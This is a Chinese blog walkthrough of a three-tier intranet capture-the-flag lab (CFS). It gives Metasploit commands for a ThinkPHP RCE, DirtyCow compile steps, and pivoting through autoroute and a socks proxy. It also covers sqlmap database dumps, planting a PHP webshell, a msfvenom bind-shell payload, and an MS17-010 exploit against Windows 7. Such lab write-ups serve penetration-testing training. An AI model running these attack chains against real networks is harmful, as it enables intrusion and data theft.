CFS三层内网靶场实战

本文中所涉及的技术仅供教学参考和使用,观看本教程后所产生的的违法行为为观看者责任,与本人无关,请遵守《网络空间安全安全法》共创和谐美好的网络环境。

靶场环境搭建

1.网络配置

靶机环境如上图进行配置,导入ova文件前,实现对vmware worksation的虚拟网络编辑器进行编辑,分别新添加两张仅主机网卡vmnet2(192.168.22.0/24网段)、vmnet3(192.168.33.0/24网段),并将仅主机网卡vmnet1修改成192.168.11.0/24网段。而后导入三台靶机,分别将其网络适配器修改成如上图所示。

2.修改网站端口

根据虚拟机描述中的账号密码、宝塔地址进入Centos,访问宝塔面板地址,添加该主机的web端口。

根据虚拟机描述中的账号密码、宝塔地址进入Ubuntu,访问宝塔面板地址,添加该主机的web端口。

信息搜集

在完成上述环境搭建后,进入kali,确认自身网段信息

ifconfig

自身的ip是192.168.11.130,模拟的外网环境,那么第一台靶机应该和我们在同一个网段内,所以使用nmap进行同网段内存活主机扫描

nmap -sP 192.168.11.0/24 //这里根据你的网段

判断目标存活,ip为192.168.11.128,继续对目标进行扫描

nmap -A 192.168.11.128 
//-A为使用攻击性的扫描方式
//更多nmap使用方法请移步相关文章,本文不做过多赘述

扫描结果如图所示,

21端口,开放ftp服务,版本为Pure-ftp

22端口,开放ssh服务  版本为openssh 7.4

80端口,http服务

111端口 rpc服务,作用为提供端口映射

截图来自百度百科

888端口,http服务

3306端口,mysql数据库服务,

8888端口,http服务

在对扫描到的信息进行汇总后可以看到目标主机的以上信息,目标有开放80端口,对目标的80端口进行访问

目标网站的框架是ThinkPHP V5,接下来使用dirb工具对目标的网站进行后台文件扫描爆破

dirb 'URL'//根据自己目标网站的URL

结果如图,存在robots协议,index.php的页面,一个favicon.ico文件,对目标文件一一进行访问,

tag1渗透

访问robots.txt页面看到了第一个flag,flag1到手

刚刚看到tag1有开放21端口,尝试对tag1的ftp服务进行访问

访问失败了,没事,多尝试尝试,在网上搜索和Thinkphp框架相关的Nday的信息,爆出来的有sql注入,文件包含,rce等漏洞。如果想要用sqlmap对网站进行注入的,需要先使用漏洞扫描工具对网站可能存在的漏洞进行扫描,sqlmap只能够对已经存在的漏洞进行验证并利用,不能无中生有。这里我们直接打开kali的MSF,搜索Thinkphp,尝试能否找到对应的攻击载荷

msfconsole
search thinkphp

还真有一个攻击载荷,可以尝试利用一下。

对攻击载荷的参数进行设置,不用多说。这里设置的ip和端口都要根据自己的目标来设置

攻击成功,建立meterpreter通道,这里进入shell,可以看到当前用户为www。

有关meterpreter的命令和使用请移步相关的文章,这里只列出需要的部分命令

python -c 'import pty;pty.spawn("/bin/bash")' //反弹shell
cat /etc/passwd | grep bash                   //查看用户
ls                                            //列出当前目录下的文件
cat filename                                  //查看文件中的内容,如果在其他目录则需要带上路径

使用python反弹shell

查看用户

存在一个root用户,可以考虑是否要提权

列出当前目录下的文件列表,看到其中有一个flag.txt文件,查看flag文件中的内容

flag2到手。这里我们上传一个漏洞探针来扫描一下可能存在的漏洞

upload/download 文件路径 //在meterpreter中上传或下载文件

chmod 777 filename //对文件赋予可读可写可执行的权限、
./filename         //执行文件

在linux中文件具有三种权限,读,写,执行,权重分别为  1,2,4,所以合起来为7,正常运维过程中不可对权限进行滥用,如果想要只赋予执行权限可以将777写成,'+x'。

执行后的结果如下

探针显示存在高危漏洞,dirtycow脏牛漏洞,可以尝试利用一下,这个漏洞有多经典不用我多说

exp去github上面找,搜索CVE-2016-5195,将exp上传到服务器上,并进行编译执行

//编译脏牛
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o 40847 40847.cpp(改成自己的exp名字) -lutil
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o dirtyc0w dirtyc0w.c(同上) -lutil
gcc 45010.c -o 45012

也可以查看在github上作者写的readme,里面同样有脏牛的编译方法

上传exp

编译exp

执行exp ,攻击失败,这个脏牛漏洞其实是不能被利用的,如果想要提权的话要尝试其他的方法

尝试很多次了,找了很多exp,没一个能用的。

那就直接检索flag文件吧

find / -name "flag.txt" 2>/dev/null

 

flag3到手。

第一重内网穿透

进行后渗透信息搜集,主要查看网卡信息,arp之类的。

查看本地路由

run get_local_subnets //查看本地路由

 

这里有三个网段,11,22,122,具体需要对哪一个进行内网穿刺现在还不能够判断

arp -a //查看arp

可以看到这里有一个192.168.22.129的ip地址,但是没有看到122相关网段的信息,122可能是一个蜜罐之类的,现在能确定我们要进行内网穿刺的网段是22网段。

添加路由

run autoroute -s 192.168.22.0/24  //添加路由
run autoroute -p                  //查看路由信息

 

这样就将路由信息添加进去了,这个终端现在不能关,如果重新挂代理都要重新添加路由信息

 调用msf的proxychains来设置代理,我们这里用是socks5代理,需要借助proxy工具

use auxiliary/server/socks_proxy
show options
set srvhost 192.168.11.130
set srvport 1080
run

这里设置的ip和端口都是我们本机端口,在设置代理的同时还要对etc文件夹下的proxchains4.conf或者 proxychains.conf文件进行对应的修改,具体先进入自己的文件夹底下查看到底是哪个文件,因为kali的版本不同,文件名字可能有所区别,作者用的是2024版所以是proxychains4文件

 vi /etc/proxychains4.conf

对配置文件进行对应修改

设置代理的参数,端口与ip要与配置文件中的一致,这边的代理是已经设置成功了,检查是否成功只要看是否建立会话就可以了

在kali的火狐浏览器中设置代理进行访问,点开浏览器设置,拉到页面最下面点开网络设置就能看到这个页面了,用的是socks5代理,所以我们这里选择socks5,浏览器没有中文的自己去网上搜怎么设置中文。然后我们尝试一下能否成功访问192..168.22.129

OK,内网穿刺成功,成功访问到了内网

tag2渗透

这个时候可以挂着代理开nmap扫一下我们的目标主机,可以向前面那样获取到目标开放的端口信息,但是我不想扫,试一下直接访问他的robots.txt。看看有没有暴露出来的信息

这里有一个登录页面的url,可以试着访问一下

 是网站的后台登录页面,一般来说的话内网的网站后台可能不会设置很复杂的密码,可以试一下去网上找到这个网站的网页或者尝试一下弱口令爆破,我这里尝试的是弱口令爆破。

试了几个弱口令都没有成功,也可以尝试用弱口令爆破工具进行爆破,既然不成功的话,那就换一种方式。

回到前台看一下网页的源代码

 

在源代码里面看到了这个,作者给了一个提示,存在sql注入的注入点,那就尝试用sql注入了,这里直接用sqlmap跑就不手工注入了

sqlmap -u 'url' --proxy=socks5://192.168.11.130:1080 --dbs //爆出所有的的数据库
sqlmap -u 'url' --proxy=socks5://192.168.11.130:1080 -D 数据库名 --tables
sqlmap -u 'url' --proxy=socks5://192.168.11.130:1080 -D 数据库名 -T 表名 --columns
sqlmap -u 'url' --proxy=socks5://192.168.11.130:1080 -D 数据库名 -T 表名 -C 字段名 --dump

 

这里也是成功的把我们需要的用户名和密码都获取到了,用这个用户名和密码就可以登录网站的后台了

这里也是成功的看到了我们的flag4,登录网站后台后我们就可以尝试植入一句话木马了,在模版里面可以看到有php文件

在tag目录底下的index.php里面就可以写入我们的一句话木马了

然后就可以用蚁剑,菜刀,哥斯拉等工具连接我们的一句话木马,获取webshell,我这里用的是Cknife

这里注意写在tag里面就要在url后面加上参数。

http://ip:80/index.php?r=tag

 

OK连接成功,webshell获取成功,接下来就可以查找我们想要的东西了

 

成功找到了第五个flag。查看一下文件内容

flag5到手。

直接在webshell中查找flag文件,和之前一样的命令

flag6到手。由于现在获取的webshell,我们需要一个服务器的shell,需要往里面上传一个木马文件。同时监听反弹shell

第二重内网穿透

用kali生成一个木马文件

msfvenom -p linux/x86/meterpreter/bind_tcp  LPORT=4444 -f elf -o 2.elf

 

 这里生成的是正向连接的木马,为什么不是反向链接,因为我们这时候是挂着socks代理的,tag2并没有去往我们kali的路由,但是因为挂着代理的缘故,我们kali有去往tag2的路由,所以这里要生成一个正向链接的木马

如果没有指定木马生成的位置的话,默认是在home目录里面的,将木马通过到我们刚刚的webshell上传到服务器上,

在kali的msf中开启监听,同时对在webshell上木马文件赋权并执行,让我们上传的木马上线

use exploit/multi/handler
set payload linux/x86/meterpreter/bind_tcp
set rhost 192.168.22.129
set lport 4444
run

 

  

 

反弹成功。建立meterpreter通道

 接下来就是和我们在tag1的时候做同样的事情,进行内网信息的搜集,这里也不多说,重点是接下来的内网漫游

查看本地的网络信息

 

查看arp,发现只有一个22的,我们要自己添加一个去往33的

 

添加路由并查看 ,这时我们就有了去往33的路由了,

这里继续使用我们的proxy辅助模块进行代理,这里需要换一个端口进行代理,但是不需要再去更改配置文件

 

这样就能看到我们有了两个代理。

这里需要使用auxiliary/scanner/portscan/tcp模块进行内网信息的搜集,设置网站和需要扫描的端口

OK,找到,192.168.33.33就是我们的目标

 

挂着代理用nmap扫描一下

 

看到这些开放的端口和服务,这台可能是windows的服务器,开放了445端口,查看一下有没有ms17-010漏洞的存在

 

看结果,目标主机是windows7,且存在ms17-010漏洞,尝试利用

use exploit/windows/smb/ms_17_010_psexec
set payload windows/x64/meterpreter/bind_tcp
set rhosts 192.168.33.33
set rport 445
run

 

 

 ok ,漏洞利用成功,建立meterpreter通道

shell
dir /S flag.txt /B
type 找到的flag文件的绝对路径

 

flag7到手

 

 flag8到手,这个flag在桌面上。找不到看一下自己电脑桌面是哪个路径

 

 

 

  • 30
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值